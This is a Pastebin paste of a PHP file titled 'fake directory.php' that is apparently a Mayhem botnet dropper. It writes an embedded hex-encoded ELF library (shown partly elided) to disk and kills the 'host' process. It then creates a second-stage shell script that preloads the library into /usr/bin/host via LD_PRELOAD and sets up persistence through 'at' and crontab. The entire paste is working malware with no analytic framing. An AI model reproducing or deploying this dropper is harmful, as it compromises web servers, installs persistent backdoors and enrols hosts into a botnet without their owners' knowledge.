Guest User

fake directory.php

a guest
Dec 15th, 2014
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. <?php
  2.  
  3. header("Content-type: text/plain");
  4. print "2842123700\n";
  5.  
  6. if (! function_exists('file_put_contents')) {
  7. function file_put_contents($filename, $data) {
  8. $f = @fopen($filename, 'w');
  9. if (! $f)
  10. return false;
  11. $bytes = fwrite($f, $data);
  12. fclose($f);
  13. return $bytes;
  14. }
  15. }
  16.  
  17. @system("killall -9 ".basename("/usr/bin/host"));
  18.  
  19. $so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x
  20. ....
  21. \x2d\x61\x00\x2f\x2f\x00\x2e\x00\x2f\x74\x6d\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6d\x6a\x20\x00\x00\x00\x00\x00\x6f\x6a\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
  22. x00\x00\x00";
  23. $arch = 64;
  24. if (intval("9223372036854775807") == 2147483647)
  25. $arch = 32;
  26. print "Arch is ".$arch."\n";
  27. $so = $arch == 32 ? $so32 : $so64;
  28. $f = fopen("/usr/bin/host", "rb");
  29. if ($f) {
  30. $n = unpack("C*", fread($f, 8));
  31. $so[7] = sprintf("%c", $n[8]);
  32. print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
  33. fclose($f);
  34. }
  35. print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
  36. if (getenv("MAYHEM_DEBUG"))
  37. exit(0);
  38. $AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  39. /* second stage dropper */
  40. $HBN=basename("/usr/bin/host");
  41. $SCP=getcwd();
  42. $SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
  43. $SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
  44. @file_put_contents("1.sh", $SCR);
  45. @chmod("1.sh", 0777);
  46. /* try at now, file will be removed, crontab cleaned on success */
  47. @system("at now -f 1.sh", $ret);
  48. if ($ret == 0) {
  49. for ($i = 0; $i < 5; $i++) {
  50. if (! @file_exists("1.sh")) {
  51. print "AT success\n";
  52. exit(0);
  53. }
  54. sleep(1);
  55. }
  56. }
  57. @system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
  58. if ($ret == 0) {
  59. for ($i = 0; $i < 62; $i++) {
  60. if (! @file_exists("1.sh")) {
  61. print "CRONTAB success\n";
  62. exit(0);
  63. }
  64. sleep(1);
  65. }
  66. }
  67. print "Running straight\n";
  68. @system("./1.sh");
  69.  
  70. ?>
  71. (END)
Advertisement
Add Comment
Please, Sign In to add comment